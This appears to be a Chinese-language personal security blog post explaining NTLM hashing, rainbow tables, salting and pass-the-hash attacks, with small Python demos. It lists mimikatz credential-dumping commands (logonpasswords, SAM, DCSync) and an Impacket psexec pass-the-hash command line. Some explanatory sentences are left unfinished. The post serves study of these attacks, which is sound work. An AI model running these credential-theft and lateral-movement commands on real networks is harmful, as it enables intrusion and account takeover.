Skip to content

NTLM协议&攻击手法

BX

NTLM协议&攻击手法

创建时间: 2025年9月11日 16:56

NTLM协议

NTLM 协议概述

NTLM (NT LAN Manager) 是微软早期的身份认证协议,最初用于 Windows NT 时代,现在仍然存在于 Windows 系统中,主要是为了 兼容性

原理主要是三步走

Kerberos Kerberos是一种广泛使用的网络认证协议,它主要用于在不安全的网络环境中,为客户端和服务器提供安全的身份验证。它的核心思想是使用一个可信任的第三方来验证通信双方的身份。 核心特点 基于票据(Ticket-based) 的认证协议。

特点就是

NTLM Hash的实现

整体逻辑如下

明文密码 → UTF-16LE编码 → MD4哈希 → 十六进制大写 → NTLM哈希

具体Py实现:自己写的很随意

import hashlib
import struct

def md4(data):
    """
    手动实现MD4算法(因为新版本Python移除了MD4支持)
    """
    # MD4算法的辅助函数
    def f(x, y, z): return (x & y) | (~x & z)
    def g(x, y, z): return (x & y) | (x & z) | (y & z)
    def h(x, y, z): return x ^ y ^ z
    
    def rotleft(value, shift):
        return ((value << shift) | (value >> (32 - shift))) & 0xffffffff
    
    # 初始化MD4状态
    h0, h1, h2, h3 = 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476
    
    # 预处理消息
    msg = bytearray(data)
    msg_len = len(data)
    msg.append(0x80)
    
    # 填充到56字节(mod 64)
    while len(msg) % 64 != 56:
        msg.append(0)
    
    # 添加原始长度(64位小端序)
    msg.extend(struct.pack('<Q', msg_len * 8))
    
    # 处理512位块
    for i in range(0, len(msg), 64):
        chunk = msg[i:i+64]
        w = list(struct.unpack('<16I', chunk))
        
        a, b, c, d = h0, h1, h2, h3
        
        # 第1轮
        s = [3, 7, 11, 19]
        for j in range(16):
            k = j
            a, b, c, d = d, rotleft((a + f(b, c, d) + w[k]) & 0xffffffff, s[j % 4]), b, c
        
        # 第2轮
        s = [3, 5, 9, 13]
        for j in range(16):
            k = (4 * j + j // 4) % 16
            a, b, c, d = d, rotleft((a + g(b, c, d) + w[k] + 0x5a827999) & 0xffffffff, s[j % 4]), b, c
        
        # 第3轮
        s = [3, 9, 11, 15]
        order = [0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15]
        for j in range(16):
            k = order[j]
            a, b, c, d = d, rotleft((a + h(b, c, d) + w[k] + 0x6ed9eba1) & 0xffffffff, s[j % 4]), b, c
        
        # 更新哈希值
        h0 = (h0 + a) & 0xffffffff
        h1 = (h1 + b) & 0xffffffff
        h2 = (h2 + c) & 0xffffffff
        h3 = (h3 + d) & 0xffffffff
    
    # 返回最终哈希值
    return struct.pack('<4I', h0, h1, h2, h3)

# md4被删除了
def hash_ntlm(password):
    pass_utf16le = password.encode("utf-16le")
    md4_a = md4(pass_utf16le)
    return md4_a.hex().upper()

if __name__ == "__main__":
    demo = "bx33661"
    res = hash_ntlm(demo)
    print(res)

这里得到的结果如下

@bx  /usr/bin/python3 /home/bx/文档/ntlm_hash.py
928502A1D17A400BEABCFCE5DB2AEB11

其实从实现来说,我们可以明显看到弱点所在

就是

NTLM Hash存放一般以下两个位置

从流程中我们可以发现整个认证过程依赖的是NTLM Hash,而不是明文密码

# mimikatz
lsadump::sam
#mimikatz
privilege::debug sekurlsa::logonpasswords

模拟域控制器的复制请求,从 DC 拉取用户 Hash。

mimikatz
lsadump::dcsync /user:DOMAIN\Administrator

根据我们上面说的逻辑

Attack

彩虹表攻击

要理解彩虹表的核心,比较学术的解释

彩虹表的核心思想是不存储所有的哈希值,而是通过一种巧妙的方式只存储“链”的开始和结束。

它包含两个关键函数:

但是说实话第一次接触很难理解

彩虹表攻击的优点在哪里?跟暴力破解有什么区别?为什么它行?

彩虹表是一个生成链+彩虹存储

  1. 生成链原理

aaaaaa --(H)--> hash1 --(R)--> pwd2 --(H)--> hash2 --(R)--> ... --(H)--> final_hash

2.构建这个彩虹表

只存储每个链子的起始密码 + 最终hash

然后大数目的这样链子就构成了彩虹表

起始密码最终哈希
aaaaaahash_A_end
bbbbbbhash_B_end
cccccchash_C_end

那具体怎么去查询和利用这个彩虹表呢

  1. 拿来目标哈希
  2. 反复对它和它的后续计算结果执行 R -> H 变换,并将每次的结果与彩虹表中所有的**“最终哈希”**进行比较。
  3. 一旦匹配成功,就找到了目标所在的链条。
  4. 从该链条的“起始密码”开始,重新执行 H -> R -> H ... 的计算过程。
  5. 在重算过程中,将每一个生成的哈希值与目标哈希进行比较
  6. 当两者相同时,前一步的那个密码就是最终答案

彩虹表脚本生成

这里按照彩虹表的核心思考

import hashlib
import string
import random

PASSWORD_LENGTH = 4
CHARSET = string.ascii_lowercase
CHAIN_LENGTH = 400
NUM_CHAINS = 4000

def hash_function(text):
    return hashlib.md5(text.encode('utf-8')).hexdigest()

# 写一个归约函数
def reduction_func(hash_v,index):
    inthash = int(hash_v,16)
    inthash += index
    password = ""

    for _ in range(PASSWORD_LENGTH):
        password += CHARSET[inthash % len(CHARSET)]
        inthash //= len(CHARSET)
    return password

def generate_rainbow_table():
    print("=====生成彩虹表=====")
    rainbow_table = {}
    for i in range(NUM_CHAINS):
        # 初始密码
        start_password = ''.join(random.choice(CHARSET) for _ in range(PASSWORD_LENGTH))
        current_password = start_password
        for j in range(CHAIN_LENGTH):
            hash_val = hash_function(current_password)
            current_password = reduction_func(hash_val,j)
        
        end_hash = hash_function(current_password)

        rainbow_table[start_password] = end_hash
        if (i + 1) % (NUM_CHAINS // 10) == 0:
            print(f"已生成 {i + 1}/{NUM_CHAINS} 条链...")
    
    print("=====彩虹表生成完毕=====")
    return rainbow_table

def crack_password(target_hash, rainbow_table):
    """尝试使用彩虹表破解给定的哈希"""
    print(f"--- 目标哈希: {target_hash} ---")
    print("--- 开始破解... ---")

    # 阶段一:查找链条
    # 从链的末端开始,逐个位置向前尝试
    for i in range(CHAIN_LENGTH - 1, -1, -1):
        temp_hash = target_hash
        
        # 从目标哈希开始,执行 R->H 操作,直到链的末端
        for j in range(i, CHAIN_LENGTH):
            password = reduction_func(temp_hash, j)
            temp_hash = hash_function(password)
        
        # 检查计算出的最终哈希是否存在于彩虹表中
        for start_password, end_hash in rainbow_table.items():
            if temp_hash == end_hash:
                print(f"匹配成功!哈希可能在以 '{start_password}' 开头的链中。")
                
                # 阶段二:验证并找到密码
                # 从找到的链的起点开始,重现整条链
                current_password = start_password
                for k in range(CHAIN_LENGTH):
                    current_hash = hash_function(current_password)
                    if current_hash == target_hash:
                        # 找到了!
                        print(f"\n*** 破解成功!密码是: {current_password} ***")
                        return current_password
                    # 继续链的下一个环节
                    current_password = reduction_func(current_hash, k)
    
    print("\n--- 破解失败,密码不在彩虹表中。 ---")
    return None

    

if __name__ == "__main__":
    rainbow_table = generate_rainbow_table()

    original_password = "love"
    target_hash_to_crack = hash_function(original_password)

    crack_password(target_hash_to_crack,rainbow_table)

    print("完成!!!")

这里需要调高这个,让尽可能覆盖到

CHAIN_LENGTH = 400
NUM_CHAINS = 4000

最后程序响应结果

=====生成彩虹表=====
已生成 400/4000 条链...
已生成 800/4000 条链...
已生成 1200/4000 条链...
已生成 1600/4000 条链...
已生成 2000/4000 条链...
已生成 2400/4000 条链...
已生成 2800/4000 条链...
已生成 3200/4000 条链...
已生成 3600/4000 条链...
已生成 4000/4000 条链...
=====彩虹表生成完毕=====
--- 目标哈希: b5c0b187fe309af0f4d35982fd961d7e ---
--- 开始破解... ---
匹配成功!哈希可能在以 'zola' 开头的链中。

*** 破解成功!密码是: love ***
完成!!!

这里这个脚本只作为这个概念验证

展示了核心思路

明文 → 哈希 → 归约 → 明文 → 哈希 → …

最后我们就能真正去理解到这个整个过程

加盐的原理

上面彩虹表我们学习,具体加盐的原理,学习过这个现代密码学的了解到,具体公式如下

hash = H(password + salt)

彩虹表的本质是提前预计算 所有可能的明文密码 → 哈希 的映射

攻击者就必须针对 每个 salt 单独生成彩虹表,代价指数级膨胀,那么彩虹表的攻击也就没有必要了 但是对于固定盐和可预测盐的话,其实跟没加是差不多的

这里对于安全规则而言,需要的是随机盐

这里一个概念性的脚本

import hashlib
import os

def salted_hash(password,salt:str=None):
    if salt is None:
        salt = os.urandom(16).hex()
    hash_val = hashlib.sha256((password + salt).encode()).hexdigest()
    return hash_val, salt

if __name__ == "__main__":
    pwd = "bx33661"
    hash_val, salt = salted_hash(pwd)
    print("保存的哈希:", hash_val)
    print("保存的盐  :", salt)

    # 验证
    hash_val_check, _ = salted_hash(pwd, salt)
    print("验证结果:", hash_val == hash_val_check)

结果如下

"C:\Program Files\Python312\python.exe" C:\Users\bx336\Desktop\HTB\ntlm\rainbow\salt_hash.py 
保存的哈希: da59c617b69f5ef217777810700934d9e6b89013a705aa14062d33148a66a103
保存的盐  : c1d1b85839f14eed150da0c94e1bd8bf
验证结果: True

进程已结束,退出代码为 0

PTH攻击

一般攻流程

所以一般来讲,一个典型的域环境 PTH 攻击流程:

  1. 拿到域内主机(可以低权限)。
  2. 提取 LSASS 或 SAM 中的 Hash
  3. 使用 PTH 工具发起会话
runas /netonly /user:DOMAIN\Administrator cmd
python3 psexec.py DOMAIN/Administrator@TARGET -hashes <LMhash>:<NThash>
  1. 继续移动。

防御措施

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1 /f

简化认证流程

  1. 客户端发起请求。
  2. 服务器发送一个随机 Challenge(8 字节)。
  3. 客户端用 NTLM Hash + Challenge 计算出 Response。
  4. 服务器把 Response 交给域控制器(或本地 SAM 数据库)验证。

弱点

Impacke 套件

Impacket 是一个内网渗透的“命令行航母”,它将复杂的Windows网络协议攻击封装成了简单易用的脚本

简单的说, Impacket是一个用Python编写的、用于处理网络协议的类库集合

https://github.com/fortra/impacket

mimikatz 猕猴桃

https://github.com/ParrotSec/mimikatz

常用操作

提升权限

privilege::debug

导出系统凭据:

sekurlsa::logonpasswords

导出SAM数据库:

lsadump::sam

导出缓存的域凭据:

lsadump::cache

Kerberos票据操作:

sekurlsa::tickets
kerberos::list

导出NTDS.dit (域控制器):

lsadump::dcsync /user:Administrator

参考文章

https://www.cnblogs.com/kalixcn/p/18138330

https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/pass-the-hash-attack/

编辑这篇文章

评论区

使用 GitHub Discussions 驱动,欢迎留言交流。

上一篇
深入理解P2P网络与BitTorrent协议:去中心化文件共享的技术原理
下一篇
SSJI服务器端JavaScript代码注入学习与实践